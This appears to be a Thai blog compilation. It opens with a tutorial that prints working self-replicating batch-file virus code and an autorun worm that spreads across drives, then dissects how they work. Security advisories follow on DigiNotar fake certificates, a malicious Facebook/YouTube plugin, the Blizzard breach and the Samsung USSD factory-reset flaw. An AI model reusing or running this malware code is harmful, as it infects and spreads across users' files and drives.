เอาล่ะ...คุณหลายคนอาจจะอ่านเนื้อหาตอนต้นซึ่งเป็นนิยามต่างๆ ทางคอมพิวเตอร์กันบ้างแล้ว...แต่ตอนนี้มาทำการแยกแยะกันด้วยรูปแบบของคำสั่งว่า..."อะไรกันคือหนอนคอมพิวเตอร์ และอะไรคือไวรัสคอมพิวเตอร์" เริ่มเลย...
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f" ))) ตัวอย่างด้านบนนี้แหละ...คือคำสั่งอันร้ายกาจ หรือเรียกมันว่า "ไวรัสคอมพิวเตอร์" เพียงบรรทัดเดียวมันสามารถทำให้คุณทึ่งกับการทำงานของมัน เพราะอะไร...ทำให้มันมีอะไรที่พิเศษกว่าหนอนคอมพิวเตอร์คือ
1. มันสามารถแทรกคำสั่งไวรัสคอมพิวเตอร์ไปยังหนอนคอมพิวเตอร์ได้เสียด้วย (โอ้...เป็นปาราสิตที่อาศัยหนอนคอมพิวเตอร์เป็นพาหะนำโรคได้ด้วย)
2. มันสามารถติดเชื้อแฟ้มคำสั่งที่ไม่ใช้หนอนคอมพิวเตอร์ได้ด้วยตัวของมันเอง...ไม่พึ่งพาใคร...ส่งผลให้แฟ้มที่ติดไวรัสเป็นพาหะนำโรคอีกต่อหนึ่งและยังไม่สามารถกำจัดมันได้โดยง่าย...เพราะมันเป็นส่วนหนึ่งในคำสั่งเหล่านั้น
3. ไวรัสคอมพิวเตอร์ต้องใช้ทักษะทางคอมพิวเตอร์ที่สูงกว่าหนอนคอมพิวเตอร์ในด้านโครงสร้าง เพราะ "มันคือชุดคำสั่งที่สามารถจำลองชุดคำสั่งไวรัสไปยังเป้าหมายได้โดยไม่ส่งผลกระทบต่อเป้าหมายเพื่อฝั่งชุดคำสั่งนั้นและรอการแพร่เชื้อชุดคำสั่งนั้นต่อไป"
อธิบายกันให้กระจ่างอีกที...?
สมมุต ว่าเครื่องของคุณติดหนอนคอมพิวเตอร์ คือ 666.bat ในทุกๆ ไดร์ฟ แต่ถ้าเกิดมีไวรัสคอมพิวเตอร์ต่อไปนี้ติดเชื้อในเครื่องของคุณด้วยมันจะส่งผลให้แฟ้มคำสั่งของหนอนคอมพิวเตอร์ (666.bat) มีขนาดโตขึ้นตามขนาดของไวรัส เช่น
@echo off
if not "%1"=="" goto Interface
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
Start .
goto endbat
:Interface
type 666.bat >%1:\666.bat
attrib +s +h +r %1:\666.bat > nul
attrib -r -h -s %1:\autorun.inf>nul
echo [autorun] > %1:\autorun.inf
echo shellexecute=666.bat >>%1:\autorun.inf
attrib +s +h +r %1:\autorun.inf > nul
:endbat
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f"))) ตัวหนังสือเข้ม คือคำสั่งไวรัสที่เพิ่มเข้ามาต่อท้ายคำสั่งของหนอนคอมพิวเตอร์ โดยที่ไวรัสในตัวอย่างนี้ทำงานแบบฉลาดพอที่จะรู้ว่า แฟ้มแบทช์ไฟล์ใด ที่ติดไวรัสแล้ว...หรือแฟ้มแบทช์ไฟล์ใดยังไม่มีการติดไวรัส เมื่อแฟ้มดังกล่าวติดไวรัสแล้ว...จะส่งผลให้...หนอนคอมพิวเตอร์ตัวนี้ไม่ว่าจะติดเชื้อในเครื่องคอมพิวเตอร์เครื่องใดๆ ก็ตามมันจะนำเชื้อไวรัสที่มันติดเชื้ออยู่ไปกับมันด้วย...ส่งผลให้ไวรัสคอมพิวเตอร์สามารถระบาดในทุกๆ เครื่อง...และทุกๆ แฟ้มที่เป็น แบทช์ไฟล์ในเครื่องของคุณ

(ไวรัสนี้ไม่สามารถทำงานใน DOS Mode รุ่นเก่าๆ อย่าง Windows Me ได้) ตัวอย่างนี้ก็มีข้อบกพร่อง อยู่ตรงที่ มันไม่สามารถทำงานใน DOS ระดับพื้นฐานได้ ถ้าหากว่ามันติดเชื้อในแฟ้ม AUTOEXEC.BAT ก็ไม่สามารถทำงานได้ เพราะ AUTOEXEC.BAT นั้นทำงานใน DOS Mode ขั้นพื้นฐานคำสั่งบางคำสั่งของมันไม่สามารถให้บริการบนโหมดนี้

มาแยกชิ้นส่วนของไวรัสเพื่อทำการศึกษากัน...
1. คำสั่ง cd\ (ออกไปยัง Root Directory) คำสั่งนี้เป็นคำสั่งพื้นฐานของดอสอยู่แล้วคงไม่ต้องอธิบายอะไรมาก ถ้าคุณใช้คำสั่ง CD WINDOWS หรือ CD "PROGRAM FILES" เพื่อเข้าไปยัง โฟลเดอร์ต่างๆ จนคุ้นเคย แต่บนวินโดวส์เอ็กซ์พี คำสั่ง CD W* ก็มีค่าเท่ากับ CD WINDOWS เหมือนกัน (เพียงแต่รูปแบบสั้นกว่า ด้วย White Card) และถอยขึ้นมายังรูทไดเร็คทอรี่ ลำดับ ด้วยการ CD.. ซึ่งดูรูปแบบคำสั่งเพิ่มเติมด้วยคำสั่ง CD /?
2. คำสั่ง for /r %%ตัวแปร in (รายการ) do ทำคำสั่ง (สำหรับค้นหาแฟ้มในรายการเพื่อทำคำสั่ง) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไป โดยจะแตกต่างจากคำสั่ง FOR แบบธรรมดา ตรงที่มันมีเงื่อนไข /ซึ่งเป็นเงื่อนไขที่บ่งบอกให้ตัวแปรที่กำหนดเก็บรายชื่อแฟ้มภายในซับโฟลเดอร์ที่ทำงานลงไปทุกตัว จึงทำให้การเขียนไวรัสเป็นไปโดยง่ายเพราะ แค่คำสั่งเดียวก็ลิสต์รายชื่อแฟ้มออกมาดีกว่าคำสั่ง DIR เสียอีก เช่น
@for /r %%f in (*.*) do echo %%f
:: แสดงรายชื่อทุกแฟ้มจากโฟลเดอร์ที่ทำงานลงไปยังซับโฟลเดอร์ทั้งหมด
3. คำสั่ง findstr "ข้อความ" แฟ้มข้อมูล (ค้นหาข้อความในแฟ้มข้อมูลที่กำหนด) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไปเช่นกัน แต่เดิม คำสั่ง FIND.EXE จะทำหน้าที่นี้อยู่ แต่ในวินโดวส์เอ็กซ์พีได้บรรจุคำสั่งนี้เป็นคำสั่งภายในแล้ว แต่รูปแบบการทำงานจะคล้ายคำสั่ง FIND.EXE ตัวเดิม ซึ่งแต่เดิมคำสั่ง FIND.EXE นั้นในภาษาแอสเซมบลีตอนท้ายคำสั่ง จะมีการเรียกใช้ฟังก์ชั่น
MOV AH,4CH ; เรียกฟักช์ชั่นคืนผลลัพธ์ไปยังดอสและจบการทำงาน
INT 21H ; อินเตอร์รัพต์ของดอสโปรเซส
คำสั่งนี้มีผลทำต่อการคำนวนของแบทซ์ไฟล์คือ IF ERRORLEVEL ค่าของ "AL" ในโปรแกรมที่จบการทำงาน
จะถูกส่งผ่านมาให้คำนวนต่อไป...ซึ่งทุกๆ คำสั่งของดอสนั้นมีทั้งสิ้น...เพียงแต่ไม่มีเอกสารเผยแพร่ออกมาให้เห็นกันเพราะบาง ERROR นั้น ถูกเก็บเป็นความลับของระบบปฏิบัติการ แต่นักเขียนโปรแกรมบางคน ก็ใช่รูปแบบการตัดสิ้นใจแบบง่าย เพื่อดูคำสั่งผิดพลาดนั้นได้ด้วยการไล่ดูทุกๆ ค่า หรือ แค่ดูว่า IF ERRORLEVEL 1 นั้นคือมีข้อผิดพลาดเกิดขึ้นแต่ไม่สนใจว่าผิดพลาดอะไร...
4. คำสั่ง if errorlevel หมายเลข ทำคำสั่ง (ถ้ามีข้อผิดพลาดในหมายเลขทำตามคำสั่งนั้น) คำสั่งนี้เป็นคำสั่งที่ทำให้ไวรัสฉลาดขึ้นอย่างมากคือ..."ถ้าเกิดข้อผิดพลาดใดๆ ในการค้นหาข้อความ (virus) ไม่พบ จะติดเชื้อแฟ้มนั้นทันที" ซึ่งเป็นการตัดสินใจที่ชาญฉลาด...เพราะจะทำให้ไวรัสไม่ถูกเขียนซ้ำไปซ้ำมาบนแฟ้มที่ติดเชื้อไวรัส ซึ่งผู้เขียน เอง ศึกษาคำสั่งนี้มานาน...และก็ใช่อย่างคล่องแคล้วในการเขียนโปรแกรมฆ่าไวรัส แต่สำหรับผู้อ่านที่เริ่มศึกษาคำสั่ง แบทช์ไฟล์ ต้องทบทวนคำสั่งนี้เพิ่มเติมใน IF /? ในดอส เพื่อดูรูปแบบของคำสั่งที่แน่นอนรวมทั้งคำสั่งการตัดสินใจในรูปแบบอื่นๆ เพื่อเสริมความเก่งกาจในประสบการณ์ด้านนี้ต่อไป




                                     ที่มา:http://meissiri.blogspot.com/2010/07/blog-post_05.html

วันพุธที่ 24 เมษายน พ.ศ. 2556

ระวังภัย แฮ็กเกอร์ออกใบรับรองปลอมของ Google Yahoo! Mozilla และอื่นๆ



วันที่ประกาศ: 2 ก.ย. 2554
ปรับปรุงล่าสุด: 7 ก.ย. 2554
เรื่อง: ระวังภัย แฮ็กเกอร์ออกใบรับรองปลอมของ Google, Yahoo!, Mozilla และอื่นๆ

ประเภทภัยคุกคาม:
 Fraud

ข้อมูลทั่วไป

ใบรับรอง SSL (SSL Certificate) ใช้ในการยืนยันเครื่องให้บริการเว็บ ทำให้ผู้ใช้สามารถมั่นใจได้ว่าเครื่องให้บริการที่ติดต่อด้วยนั้นเป็นเครื่องที่อ้างถึงจริง การใช้ใบรับรองเป็นการรับรองความมั่นคงปลอดภัยของข้อมูลที่รับ-ส่งระหว่างเครื่องให้บริการและเครื่องใช้บริการด้วยการเข้ารหัสลับข้อมูล (Encryption) โดยปกติเมื่อผู้ใช้เข้าสู่เว็บไซต์ที่มีการเชื่อมต่อแบบ SSL (Secure Socket Layer) ที่มีใบรับรองอย่างถูกต้อง เบราว์เซอร์จะแสดงไอคอนรูปแม่กุญแจ และในส่วนของ Address Bar จะแสดงที่อยู่เว็บไซต์เป็น https:// ถ้าเว็บไซต์ที่ใช้ใบรับรองไม่ถูกต้อง เบราว์เซอร์จะแสดงหน้าจอเพื่อแจ้งเตือนว่าการรับส่งข้อมูลนี้ไม่มั่นคง ปลอดภัย

ในช่วงปลายเดือนสิงหาคมที่ผ่านมา พบว่ามีใบรับรองปลอมของเว็บไซต์ในเครือของ Google เผยแพร่อยู่ในอินเทอร์เน็ต ซึ่งผู้ที่มีใบรับรองนี้สามารถสร้างเว็บไซต์ปลอมเพื่อหลอกว่าเป็นเว็บไซต์ของ Google ได้โดยที่เบราว์เซอร์ไม่สามารถตรวจสอบได้ว่าใบรับรองของเว็บไซต์ Google นี้เป็นของปลอม

ใบรับรองปลอมนี้พบว่าได้สร้างขึ้นเมื่อวันที่ 10 กรกฏาคม 2554 โดย DigiNotar ซึ่งเป็นผู้ให้บริการออกใบรับรองอิเล็กทรอนิกส์ในประเทศเนเธอร์แลนด์ ทาง DigiNotar แจ้งผ่านหน้าเว็บไซต์ว่าการออกใบรับรองปลอมนี้เกิดจากการถูกเจาะระบบที่ใช้ในการออกใบรับรอง นอกจากนี้ยังพบว่า ผู้ที่ปลอมใบรับรองนี้ ได้สร้างใบรับรองปลอมให้กับโดเมนต่างๆ นอกจาก *.google.com อีกด้วย เช่น โดเมนในเครือของ Yahoo!, Mozilla, Wordpress และ Tor Project ปัจจุบันทาง DigiNotar ได้ออกใบประกาศเพิกถอน (Revoke Certificate) ใบรับรองปลอมแล้ว แต่ยังไม่สามารถยืนยันได้ว่าจะสามารถเพิกถอนใบรับรองปลอมได้ทั้งหมด

ผลกระทบ

ผู้ใช้งานที่เข้าสู่เว็บไซต์หลอกลวง จะเข้าใจว่าเว็บไซต์นั้นเป็นของ Google, Yahoo!, Mozilla หรือบริการอื่นๆ เนื่องจากเบราว์เซอร์ไม่มีการแจ้งเตือนว่าใบรับรองไม่ถูกต้อง ทำให้อาจเปิดเผยข้อมูลส่วนบุคคลที่ใช้ในบริการดังกล่าว เช่น ชื่อผู้ใช้หรือรหัสผ่าน นอกจากนี้ยังมีโอกาสที่จะเกิดความเสี่ยงด้านความมั่นคงปลอดภัยอื่นๆ จากเว็บไซต์หลอกลวงดังกล่าวได้
เช่น ผู้ใช้ที่ดาวน์โหลดโปรแกรมที่มีการรับรองว่ามาจาก Google จะไม่สามารถตรวจสอบได้ว่า โปรแกรมนี้ถูกรับรองโดย Google จริงๆ หรือถูกรับรองโดยการใช้ใบรับรองปลอม

ระบบที่มีผลกระทบ

ระบบปฏิบัติการและเบราว์เซอร์ต่างๆ ที่มีการใช้งานใบรับรองของ DigiNotar เช่น
  • Microsoft Windows และ Internet Explorer ทุกรุ่น
  • Mac OS X และ Safari ทุกรุ่น
  • Mozilla Firefox รุ่นต่ำกว่า 6.0.1

วิธีการแก้ไข

  • Microsoft Windows และ Internet Explorer ปัจจุบันทาง Microsoft ได้ออกเครื่องมืออัพเดทเพื่อถอดถอนใบรับรองปลอมออกจากระบบแล้ว ผู้ใช้สามารถติดตั้งโปรแกรมอัพเดทอัตโนมัติได้ผ่านทาง Windows Update หรือติดตั้งด้วยตนเองที่ http://support.microsoft.com/kb/2328240
  • Google Chrome สามารถตรวจสอบใบรับรองปลอมได้ และได้ออกอัพเดทรุ่น 13.0.782.218 ที่เพิกถอนใบรับรองปลอมแล้ว
  • Opera จะตรวจสอบข้อมูลกับเว็บไซต์ที่รายงานเรื่องใบรับรองปลอมอยู่แล้ว ดังนั้นจึงไม่จำเป็นต้องอัพเดท
  • Mozilla Firefox ออกอัพเดทรุ่น 6.0.1 ที่เพิกถอนใบรับรองปลอมแล้ว ในกรณีที่ไม่สามารถติดตั้งอัพเดทรุ่นใหม่ได้ ผู้ใช้ Mozilla Firefox สามารถลบใบรับรองของ DigiNotar ได้ดังนี้
  1. ที่ด้านบนของหน้าต่าง Firefox ให้คลิกที่ปุ่ม Firefox (เมนู Tools ใน Windows หรือเมนู Edit ใน Linux) จากนั้นคลิก Preferences
  2. คลิกที่แท็บ Advance
  3. เลือกแท็บ Encryption
  4. คลิก View Certificates
  5. ในหน้าต่าง Certificate Manages ให้คลิกที่แท็บ Authorities
  6. เลื่อนลงไปจนถึงส่วนของ DigiNotar เลือก DigiNotar Root CA
  7. คลิกที่ Delete or Distrust...
  8. คลิก OK เพื่อยืนยันการลบใบรับรอง
  • Mac OS X และ Safari ไม่สามารถตรวจสอบใบรับรองปลอมได้ ผู้ใช้จำเป็นต้องใช้โปรแกรม Keychain Access เพื่อลบใบรับรองดังกล่าวออกจากระบบด้วยตนเอง ซึ่งสามารถทำได้ดังนี้
  1. เปิดโปรแกรม Keychain Access
  2. ในช่องค้นหา พิมพ์คำว่า DigiNotar
  3. คลิกขวาที่ DigiNotar Root CA เลือก Delete
  4. คลิกปุ่ม Delete เพื่อยืนยันการลบ
ผู้ใช้สามารถตรวจสอบเบราว์เซอร์ที่ตนเองใช้อยู่ ว่าได้ถูกเพิกถอนใบรับรองของ DigiNotar แล้วหรือยัง ด้วยการเข้าไปตรวจสอบที่เว็บไซต์ https://diginotar.com/

อ้างอิง

ระวังภัย การโจมตีผู้ใช้ Facebook ผ่านปลั๊กอินปลอมของ YouTube



วันที่ประกาศ: 9 ม.ค. 2555
ปรับปรุงล่าสุด: 9 ม.ค. 2555
เรื่อง: ระวังภัย การโจมตีผู้ใช้ Facebook ผ่านปลั๊กอินปลอมของ YouTube

ประเภทภัยคุกคาม:
 Malicious Code

ข้อมูลทั่วไป

หลังจากวันที่ 1 มกราคม 2555 ผู้ใช้ Facebook หลายรายได้แจ้งเตือนว่ามีการโจมตีรูปแบบใหม่ ด้วยการหลอกให้คลิกเข้าไปยังลิงก์ของเว็บไซต์อันตราย เพื่อทำการติดตั้งส่วนเสริมของโปรแกรมเว็บเบราว์เซอร์ (ปลั๊กอิน) เมื่อผู้ใช้หลงกลติดตั้งปลั๊กอินดังกล่าว จะถูกสวมรอยโพสต์ลิงก์ของเว็บไซต์อันตรายลงในหน้ากระดานข่าว Facebook ของตนเอง รวมถึงหน้ากระดานข่าวอื่นๆ ที่ผู้ใช้คนนั้นเป็นสมาชิกอยู่ด้วย รูปแบบลิงก์และข้อความที่โพสต์จะมีลักษณะคล้ายกับรูปที่ 1
fb_spam_01.png
รูปที่ 1 ตัวอย่างการโพสต์ลิงก์ของเว็บไซต์อันตราย
เว็บไซต์ที่อยู่ในลิงก์นั้น มีหน้าตาคล้ายกับเว็บไซต์ YouTube ดังรูปที่ 2 และ 3 พร้อมกับมีข้อความเชิญชวนให้ติดตั้งปลั๊กอินของ YouTube เช่น Youtube HD หรือ YouTube Speed UP! เพื่อดูคลิปวิดีโอในเว็บไซต์นั้น
fb_spam_02.png
รูปที่ 2 ตัวอย่างเว็บไซต์หลอกลวงของ YouTube เปิดโดย Google Chrome
fb_spam_03.png
รูปที่ 3 ตัวอย่างเว็บไซต์หลอกลวงของ YouTube เปิดโดย Mozilla Firefox
ซึ่งหากผู้ใช้ตรวจสอบรายละเอียดของปลั๊กอินดังกล่าว จะพบว่าปลั๊กอินที่จะติดตั้งไม่ได้มาจาก YouTube แต่อย่างใด โดยสังเกตได้จากข้อความ “Author not verified” ซึ่งเป็นการบอกว่า ไม่สามารถตรวจสอบผู้พัฒนาปลั๊กอินนี้ได้ รวมถึง URL ของปลั๊กอินก็มาจากเว็บไซต์ที่ไม่ใช่เว็บไซต์ทางการของผู้พัฒนาเบราว์เซอร์ ดังรูปที่ 4
fb_spam_04.png
รูปที่ 4 หน้าจอการติดตั้งปลั๊กอิน Youtube Speed UP!

ผลกระทบ

หากผู้ใช้หลงกลติดตั้งปลั๊กอินจากเว็บไซต์ดังกล่าวแล้ว จะถูกส่งไปยังหน้าล็อกอินของ Facebook ดังรูปที่ 5 ซึ่งหน้าล็อกอินที่พบนี้ ไม่ใช่การล็อกอินจากหน้าหลักของ Facebook แต่เป็นการล็อกอินผ่าน Application อีกทีหนึ่ง
fb_spam_05.png
รูปที่ 5 หน้าจอล็อกอินของ Facebook ผ่าน Application ชื่อ Texas HoldEm Poker
แต่หากผู้ใช้มีการล็อกอินเว็บไซต์ Facebook อยู่แล้ว ตัวปลั๊กอินของเบราว์เซอร์ ซึ่งจริงๆ แล้วเป็นโปรแกรมไม่พึงประสงค์ จะทำการโพสต์ลิงก์ของเว็บไซต์อันตรายดังกล่าวลงในหน้า Facebook ของผู้ใช้ เพื่อเผยแพร่ปลั๊กอินอันตรายนี้ให้กับบุคคลอื่นต่อไป

ระบบที่ได้รับผลกระทบ

จากการตรวจสอบ Source Code ของเว็บไซต์ พบว่าปลั๊กอินดังกล่าวมีผลกระทบกับเบราว์เซอร์ Google Chrome และ Mozilla Firefox ทุกเวอร์ชัน ดังรูปที่ 6
fb_spam_06.png
รูปที่ 6 ตัวอย่าง Source Code จากหน้าเว็บไซต์

ข้อแนะนำในการป้องกันและแก้ไข

หากผู้ใช้ถูกโจมตีด้วยวิธีดังกล่าว สามารถแก้ไขได้ดังนี้
  1. ลบปลั๊กอิน YouTube HD หรือ YouTube Speed UP! ออกจากเบราว์เซอร์ ดังรูปที่ 7
  2. เปลี่ยนรหัสผ่านในการเข้าสู่ระบบของเว็บไซต์ Facebook
  3. ทำการสแกนไวรัสในระบบ เพื่อกำจัดโปรแกรมไม่พึงประสงค์อื่นๆ ที่อาจติดมาด้วย
จะเห็นได้ว่า การโจมตีผ่านทาง Social Media ด้วยการหลอกให้ติดตั้งปลั๊กอินในเบราว์เซอร์นั้นเป็นตัวอย่างของภัยคุกคามรูปแบบใหม่ ที่มีแนวโน้มจะเพิ่มสูงขึ้นในอนาคต ไทยเซิร์ตมีข้อแนะนำในการใช้งาน Social Media ให้มีความมั่นคงปลอดภัย เพื่อป้องกันความเสียหายที่อาจจะเกิดขึ้นในอนาคตได้ ดังนี้
  1. ไม่คลิกลิงก์ที่ไม่น่าไว้วางใจ โดยเฉพาะลิงก์ของเว็บไซต์ที่ให้บริการย่อ URL
  2. ไม่ติดตั้งโปรแกรม หรือปลั๊กอินของเบราว์เซอร์จากแหล่งที่มาที่ไม่น่าเชื่อถือ ถ้าเป็นไปได้ควรติดตั้งเฉพาะปลั๊กอินที่มีจากแหล่งดาวน์โหลดของผู้ผลิตเบราว์เซอร์เท่านั้น เช่น Chrome Web Store (https://chrome.google.com/webstore) ของ Google Chrome หรือ Mozilla Addon (https://addons.mozilla.org) ของ Mozilla Firefox
  3. ในการเข้าสู่ระบบของบริการ Social Media ควรเข้าสู่ระบบด้วยการพิมพ์ URL ของเว็บไซต์ในช่อง Address bar ด้วยตนเองเท่านั้น
  4. อ้างอิง

    1. http://www.thaicert.or.th/alerts/user/2012/al2012us001.html

Blizzard Entertainment ถูกเจาะระบบ ผู้ใช้งานควรเปลี่ยนรหัสผ่านโดยด่วน



วันที่ประกาศ: 10 สิงหาคม 2555
ปรับปรุงล่าสุด: 10 สิงหาคม 2555
เรื่อง: Blizzard Entertainment ถูกเจาะระบบ ผู้ใช้งานควรเปลี่ยนรหัสผ่านโดยด่วน

ประเภทภัยคุกคาม: Intrusion

ข้อมูลทั่วไป

Blizzard Entertainment เป็นบริษัทที่พัฒนาเกมคอมพิวเตอร์ โดยมีเกมที่ได้รับความนิยม เช่น WarCraft, StarCraft, Diablo เป็นต้น ดังรูปที่ 1 ซึ่งหลายเกมสามารถเล่นออนไลน์ได้ผ่านระบบ Battle.Net
Al2012ho0002-1.jpg
รูปที่ 1 ตัวอย่างเกมของ Blizzard Entertainment
เมื่อวันที่ 9 สิงหาคม 2555 Blizzard Entertainment ได้แจ้งว่าระบบภายในของ Net ถูกเข้าถึงโดยไม่ได้รับอนุญาต จากการตรวจสอบพบว่า ผู้ไม่หวังดีได้ข้อมูลอีเมลที่ใช้ในการเข้าสู่ระบบ Battle.Net ในทุกภูมิภาคของโลก ยกเว้นประเทศจีน นอกจากนี้ยังได้ข้อมูลบัญชีผู้ใช้ในเซิร์ฟเวอร์ North America ซึ่งมีข้อมูลของผู้เล่นในภูมิภาคต่างๆ เช่น North America, Latin America, Australia, New Zealand และ Southeast Asia รวมอยู่ด้วย โดยข้อมูลที่หลุดออกไปนั้นประกอบด้วยรหัสผ่านที่ถูกเข้ารหัสลับไว้ คำตอบของคำถามที่ใช้ในการกู้คืนรหัสผ่าน และข้อมูลการยืนยันตัวตนผ่านโทรศัพท์มือถือ เป็นต้น [1]

ทาง Blizzard Entertainment ให้ข้อมูลเพิ่มเติมว่า ได้ตรวจสอบพบว่ามีการการเจาะระบบได้ตั้งแต่วันที่ 4 สิงหาคม 2555 แล้ว แต่ต้องการตรวจสอบข้อมูลให้ชัดเจนก่อนจึงได้ประกาศแจ้งเตือนในวันที่ 9 สิงหาคม [2] อย่างไรก็ตาม ทาง Blizzard Entertainment ได้แจ้งว่า ข้อมูลบัตรเครดิตและข้อมูลการซื้อสินค้านั้นไม่ได้รับผลกระทบจากการถูกเจาะ ระบบครั้งนี้

ผลกระทบ

เนื่องจากรหัสผ่านที่หลุดออกไปนั้นเป็นรหัสผ่านที่ถูกเข้ารหัสลับไว้ แต่ผู้ไม่หวังดีได้ข้อมูลคำตอบของคำถามที่ใช้ในการกู้คืนรหัสผ่านไปด้วย ดังนั้นผู้ใช้งานระบบ Battle.Net มีโอกาสที่จะถูกขโมยบัญชีผู้ใช้ จากการตอบคำถามที่ใช้ในการกู้คืนรหัสผ่านได้

ระบบที่ได้รับผลกระทบ

ระบบ Battle.Net

ข้อแนะนำในการป้องกันและแก้ไข

บริษัท Blizzard Entertainment ได้แนะนำให้ผู้ที่ใช้งานระบบ Battle.Net เปลี่ยนรหัสผ่านโดยด่วน พร้อมกันนี้ ได้ให้ข้อมูลเพิ่มเติมว่า จะพัฒนาระบบเพื่ออำนวยความสะดวกในการเปลี่ยนรหัสผ่านและคำถามที่ใช้ในการกู้คืนรหัสผ่าน รวมถึงจะอัพเดตซอฟต์แวร์ที่ใช้ในการยืนยันตัวตนผ่านโทรศัพท์มือถือในเร็วๆ นี้ อย่างไรก็ตาม ทางบริษัทยังคงเปิดใช้งานระบบการยืนยันตัวตนผ่านโทรศัพท์มือถือ และระบบกู้คืนรหัสผ่านโดยวิธีการตอบคำถามที่ใช้ในการกู้คืนรหัสผ่านตามปกติ ถึงแม้ข้อมูลดังกล่าวจะถูกผู้ไม่หวังดีเข้าถึงได้แล้วก็ตาม

อ้างอิง

  1. http://us.blizzard.com/en-us/company/press/pressreleases.html?id=6940026
  2. http://us.battle.net/support/en/article/important-security-update-faq

ระวังภัย ช่องโหว่ในระบบปฏิบัติการ Android ผู้ไม่หวังดีสามารถทำ Remote Factory Reset ได้



วันที่ประกาศ: 26 กันยายน 2555
ปรับปรุงล่าสุด: 26 กันยายน 2555
เรื่อง: ระวังภัย ช่องโหว่ในระบบปฏิบัติการ Android ผู้ไม่หวังดีสามารถทำ Remote Factory Reset ได้
ประเภทภัยคุกคาม: Malicious Code

ข้อมูลทั่วไป

USSD หรือ Unstructured Supplementary Service Data เป็นโพรโทคอลที่โทรศัพท์มือถือใช้ในการส่งข้อมูลเพื่อติดต่อกับผู้ให้บริการ ในเครือข่าย GSM เช่น สมัครใช้บริการเสริม หรือตรวจสอบยอดเงินคงเหลือ เป็นต้น รูปแบบของ USSD โดยทั่วไปจะประกอบด้วยเครื่องหมาย * # และตัวเลขผสมกัน เช่น *123# เป็นต้น ในโทรศัพท์มือถือบางรุ่นจะมี USSD เพื่อใช้ในการเข้าถึงฟังก์ชันพิเศษของโทรศัพท์ เช่น กด *#06# เพื่อตรวจสอบหมายเลข IMEI ของเครื่อง หรือลบข้อมูลทั้งหมดในเครื่องให้อยู่ในสภาพที่ออกมาจากโรงงาน (Factory Reset) เป็นต้น ซึ่งในบางคำสั่งจะทำงานทันทีที่กดตัวอักษรสุดท้ายเสร็จ โดยไม่จำเป็นต้องกดปุ่มโทรออกแต่อย่างใด [1]
ในงาน Ekoparty Security Conference นักวิจัยจาก Technical University Berlin ได้สาธิตช่องโหว่ของ USSD ใน Galaxy S3 ซึ่งอนุญาตให้ผู้ไม่หวังดีสามารถลบข้อมูลของเครื่องจากระยะไกลได้ (Remote Factory Reset) สาเหตุของช่องโหว่ดังกล่าวนี้ เกิดจาก
1. แอปพลิเคชัน Dialer (Phone.apk) ของระบบปฏิบัติการ Android ซึ่งใช้ในการโทรศัพท์ จะทำการเปิด URI ที่ขึ้นต้นด้วย tel: โดยอัตโนมัติ แต่โดยปกติแล้วจะยังไม่ประมวลผลคำสั่งดังกล่าว
2. โปรแกรม Dialer ของผู้ผลิตบางราย (เช่น Samsung) ถูกตั้งค่าให้ประมวลผล USSD โดยอัตโนมัติ ซึ่งนำไปสู่การประมวลผลคำสั่งอันตรายได้
3. คำสั่ง USSD ที่เป็นอันตรายต่อระบบ เช่น การทำ Factory Reset นั้นสามารถทำงานได้โดยไม่ต้องมีการยืนยันจากผู้ใช้ และผู้ผลิตบางรายมีการเปิดเผยคำสั่งดังกล่าวนี้สู่สาธารณะ
นักวิจัยได้สาธิตการเปิดเว็บไซต์ที่มีแท็ก <iframe> ซึ่งภายในบรรจุโค้ด USSD สำหรับทำ Factory Reset ของเครื่อง Galaxy S3 ไว้ เมื่อผู้ใช้เข้าไปยังเว็บไซต์ดังกล่าว เครื่องก็จะทำการลบข้อมูลทั้งหมดเพื่อกลับไปสู่สภาพเดิมที่ออกมาจากโรงงาน ทันที วิดีโอสาธิตการโจมตีดังกล่าวสามารถดูได้จาก YouTube [2]

ผลกระทบ

ผู้ไม่หวังดีสามารถสั่งลบข้อมูลในเครื่องของเหยื่อ ด้วยการหลอกให้เข้าไปยังเว็บไซต์ที่มีคำสั่งอันตราย หรือส่งคำสั่งดังกล่าวผ่านทาง QR Code, NFC หรือ Push Message ได้ [3]

ระบบที่ได้รับผลกระทบ

ปัจจุบันมีรายงานว่ามีเพียงอุปกรณ์ที่ใช้งานระบบปฏิบัติการ Android ของ Samsung ที่ใช้ TouchWiz UI เท่านั้นที่มีช่องโหว่ Remote Factory Reset โดยนอกจาก Galaxy S3 แล้ว ผู้ใช้ Galaxy Beam, Galaxy S Advance, Galaxy Ace, และ Galaxy S II ได้แจ้งว่ามีช่องโหว่ดังกล่าวด้วย และจากข้อมูลใน XDA-Developers พบว่า โทรศัพท์มือถือของ HTC ก็มีช่องโหว่ดังกล่าวนี้ด้วยเช่นกัน แต่ยังไม่มีข้อมูลว่าสามารถทำ Factory Reset ได้ [4]
สำหรับเครื่องที่ใช้ระบบปฏิบัติการ Android ที่มาจาก Google โดยตรง เช่น Galaxy Nexus เมื่อเข้าไปยังหน้าเว็บไซต์ที่มีโค้ดอันตรายอยู่ จะแสดง USSD ในโปรแกรม Dialer แต่จะไม่ประมวลผลคำสั่ง USSD นั้นโดยอัตโนมัติ อีกทั้งมีผู้ใช้งานบางรายให้ข้อมูลเพิ่มเติมว่า โทรศัพท์มือถือที่ถูกติดตั้ง TouchWiz UI มาจากโรงงาน แต่นำมาติดตั้ง Custom Rom ที่พัฒนามาจาก Rom ของ Google โดยตรง เช่น CyanogenMod นั้นไม่มีปัญหาดังกล่าว [5]
นอกจากนี้ ยังมีรายงานเพิ่มเติมว่า แอปพลิเคชันประเภท Dialer บางตัวใน Play Store เช่น exDialer มีช่องโหว่ประมวลผล USSD โดยอัตโนมัติด้วยเช่นกัน

ข้อแนะนำในการป้องกันและแก้ไข

